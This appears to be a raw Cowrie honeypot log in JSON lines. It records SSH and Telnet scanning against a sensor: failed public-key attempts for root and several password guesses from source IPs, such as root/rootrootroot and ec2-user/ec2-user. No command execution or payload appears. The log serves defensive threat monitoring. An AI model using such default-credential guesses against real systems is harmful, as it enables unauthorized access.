{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:69:9f:87:a5:9b:0a:08:00:25:75:6b:16:a0:ae:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+DiqdSD3x3DPdVvHQZuyN3xJPRVwRc7ktNZZd25ODPqyYOx9XmCrelub0CTfQwPOfEJPx6vcmLzN/9WGamxOqztE2hVj9ykgHzrlwHt1qtueEQONhX0N+5jBjsleL9YvuJ+9v1XabqRKCPldNK0sUtseDGxRxJlHWcrE6CDhILvZOQc5V+Kxs1RNe6sYJnivFgCXkaNPPypZd4AMrToISqzDaVBkyr2qjVomH6sQHoD1nmHndHoBbCAI6KdWjLO0E2L5GRIcHOVJlyX4mPqu8Lht+JYNulPZqr95k9BxFQQgJ2ydazB1Y+btOojHPp/usyqb7wrUT/gFYAxshdDwtQzJ3vAv6rBN08MFu4T3JteD/ZPlpsjbL3tRnKUoaU5X5vn0Cj+veeTTGHX0JKYeUKSEh398taYdBIytTXWy+GfXgvInRwZ9YQMRaDBQNzT//48XSnLawsHzqc+l0u+UHxP/aqUpEhjIgjq3p0mEzRvq2ceTrFL0lHJkD/GEI90k+hKPPbdP+T1VBJFs62n9SPhAsga7UjNYMYCp/PXeUFcG81M6kGwPA0y5X76uCEQgDbyEhDr21wGBcrwzi+UwuMqQdOOp7NfXmifA+yfMjvl+GFE0S2XIs891wJEW+gJIxgjQx2evQgI/XxCiRf4e9HMGVaGY6mwdRwul+5kgIsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:69:9f:87:a5:9b:0a:08:00:25:75:6b:16:a0:ae:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.840302Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:69:9f:87:a5:9b:0a:08:00:25:75:6b:16:a0:ae:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+DiqdSD3x3DPdVvHQZuyN3xJPRVwRc7ktNZZd25ODPqyYOx9XmCrelub0CTfQwPOfEJPx6vcmLzN/9WGamxOqztE2hVj9ykgHzrlwHt1qtueEQONhX0N+5jBjsleL9YvuJ+9v1XabqRKCPldNK0sUtseDGxRxJlHWcrE6CDhILvZOQc5V+Kxs1RNe6sYJnivFgCXkaNPPypZd4AMrToISqzDaVBkyr2qjVomH6sQHoD1nmHndHoBbCAI6KdWjLO0E2L5GRIcHOVJlyX4mPqu8Lht+JYNulPZqr95k9BxFQQgJ2ydazB1Y+btOojHPp/usyqb7wrUT/gFYAxshdDwtQzJ3vAv6rBN08MFu4T3JteD/ZPlpsjbL3tRnKUoaU5X5vn0Cj+veeTTGHX0JKYeUKSEh398taYdBIytTXWy+GfXgvInRwZ9YQMRaDBQNzT//48XSnLawsHzqc+l0u+UHxP/aqUpEhjIgjq3p0mEzRvq2ceTrFL0lHJkD/GEI90k+hKPPbdP+T1VBJFs62n9SPhAsga7UjNYMYCp/PXeUFcG81M6kGwPA0y5X76uCEQgDbyEhDr21wGBcrwzi+UwuMqQdOOp7NfXmifA+yfMjvl+GFE0S2XIs891wJEW+gJIxgjQx2evQgI/XxCiRf4e9HMGVaGY6mwdRwul+5kgIsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.843655Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:b4:41:77:78:f2:49:b1:44:fd:49:fe:d1:46:dd:d5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP2Jtsuh8+2pll7sXnfrNuRuW4Vwr6yyE9FMgMPZ9BUK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e5:b4:41:77:78:f2:49:b1:44:fd:49:fe:d1:46:dd:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.864847Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:b4:41:77:78:f2:49:b1:44:fd:49:fe:d1:46:dd:d5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP2Jtsuh8+2pll7sXnfrNuRuW4Vwr6yyE9FMgMPZ9BUK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.868997Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:1a:f9:75:15:50:56:b5:4b:b7:00:1b:82:c9:79:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMhfObZs0mQ6vfFgmqwccNKlMC7h9KHS7okFXHuw+loP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c1:1a:f9:75:15:50:56:b5:4b:b7:00:1b:82:c9:79:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.888375Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:1a:f9:75:15:50:56:b5:4b:b7:00:1b:82:c9:79:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMhfObZs0mQ6vfFgmqwccNKlMC7h9KHS7okFXHuw+loP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.891725Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.911554Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45330,"dst_ip":"159.203.135.109","dst_port":22,"session":"b841da14533c","protocol":"ssh","message":"New connection: 31.40.204.166:45330 (159.203.135.109:22) [session: b841da14533c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:49.783590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:49.796744Z","src_ip":"31.40.204.166","session":"b841da14533c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:49.908961Z","src_ip":"31.40.204.166","session":"b841da14533c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:50.508276Z","src_ip":"31.40.204.166","session":"b841da14533c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.90054202079773,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:51.081998Z","src_ip":"152.42.224.71","session":"065ac518fffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:51.894009Z","src_ip":"31.40.204.166","session":"b841da14533c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.0923912525177,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:52.093712Z","src_ip":"152.42.224.71","session":"91027080927f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.15585708618164,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:53.562558Z","src_ip":"152.42.224.71","session":"575ae74877ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56420,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5eceb4754b8","protocol":"telnet","message":"New connection: 152.42.224.71:56420 (10.17.0.5:23) [session: c5eceb4754b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:55.201659Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56424,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa7bd907290","protocol":"telnet","message":"New connection: 152.42.224.71:56424 (10.17.0.5:23) [session: 8aa7bd907290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:55.795678Z"}
{"eventid":"cowrie.session.closed","duration":120.0016610622406,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:56.921595Z","src_ip":"152.42.224.71","session":"c8da82ed68b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.335113525390625,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:57.456893Z","src_ip":"152.42.224.71","session":"8a22fdeb972e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.198017597198486,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:57.752076Z","src_ip":"152.42.224.71","session":"f822b3032a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.77473521232605,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:59.335125Z","src_ip":"152.42.224.71","session":"cb53ebeddc67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.23986482620239,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:00.624981Z","src_ip":"152.42.224.71","session":"f2b3c1d2b64e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49196,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a1703d5e43e","protocol":"ssh","message":"New connection: 31.40.204.166:49196 (159.203.135.109:22) [session: 5a1703d5e43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:01.081347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:01.089927Z","src_ip":"31.40.204.166","session":"5a1703d5e43e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:01.215271Z","src_ip":"31.40.204.166","session":"5a1703d5e43e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:01.891594Z","src_ip":"31.40.204.166","session":"5a1703d5e43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45788,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd87edb309c","protocol":"telnet","message":"New connection: 152.42.224.71:45788 (10.17.0.5:23) [session: 4cd87edb309c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:02.618405Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:03.300330Z","src_ip":"31.40.204.166","session":"5a1703d5e43e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00183963775635,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:03.961640Z","src_ip":"152.42.224.71","session":"6305e64e1ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.87134790420532,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:08.763141Z","src_ip":"152.42.224.71","session":"000acf920f7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.897045135498047,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:09.001905Z","src_ip":"152.42.224.71","session":"5002d96c828a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.39064693450928,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:10.335545Z","src_ip":"152.42.224.71","session":"e3953dc864aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42092,"dst_ip":"159.203.135.109","dst_port":22,"session":"f316f983eb0e","protocol":"ssh","message":"New connection: 31.40.204.166:42092 (159.203.135.109:22) [session: f316f983eb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:13.002816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:13.007727Z","src_ip":"31.40.204.166","session":"f316f983eb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:13.128896Z","src_ip":"31.40.204.166","session":"f316f983eb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:13.897922Z","src_ip":"31.40.204.166","session":"f316f983eb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44402,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3ecfac302a","protocol":"telnet","message":"New connection: 152.42.224.71:44402 (10.17.0.5:23) [session: 5e3ecfac302a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:14.612827Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:15.023077Z","src_ip":"31.40.204.166","session":"f316f983eb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44398,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2b842f9bee","protocol":"telnet","message":"New connection: 152.42.224.71:44398 (10.17.0.5:23) [session: 1c2b842f9bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:15.775731Z"}
{"eventid":"cowrie.session.closed","duration":78.6499285697937,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:17.279207Z","src_ip":"152.42.224.71","session":"7406e9039a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55934,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5445821e560","protocol":"telnet","message":"New connection: 152.42.224.71:55934 (10.17.0.5:23) [session: c5445821e560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:22.008946Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55948,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c090de4c226","protocol":"telnet","message":"New connection: 152.42.224.71:55948 (10.17.0.5:23) [session: 9c090de4c226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:23.214120Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56946,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b02afa68f5c","protocol":"ssh","message":"New connection: 31.40.204.166:56946 (159.203.135.109:22) [session: 2b02afa68f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:23.710404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:23.715295Z","src_ip":"31.40.204.166","session":"2b02afa68f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55950,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f209fcbb1d5","protocol":"telnet","message":"New connection: 152.42.224.71:55950 (10.17.0.5:23) [session: 8f209fcbb1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:23.897763Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:23.902857Z","src_ip":"31.40.204.166","session":"2b02afa68f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:24.389822Z","src_ip":"31.40.204.166","session":"2b02afa68f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:25.524695Z","src_ip":"31.40.204.166","session":"2b02afa68f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.66772651672363,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:28.333554Z","src_ip":"152.42.224.71","session":"5021864d46f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":53666,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e9b843ccf29","protocol":"ssh","message":"New connection: 103.149.170.125:53666 (10.17.0.5:22) [session: 6e9b843ccf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:29.126205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:29.130097Z","src_ip":"103.149.170.125","session":"6e9b843ccf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.12820053100586,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:29.324237Z","src_ip":"152.42.224.71","session":"7915bbd8aeda","protocol":"telnet"}
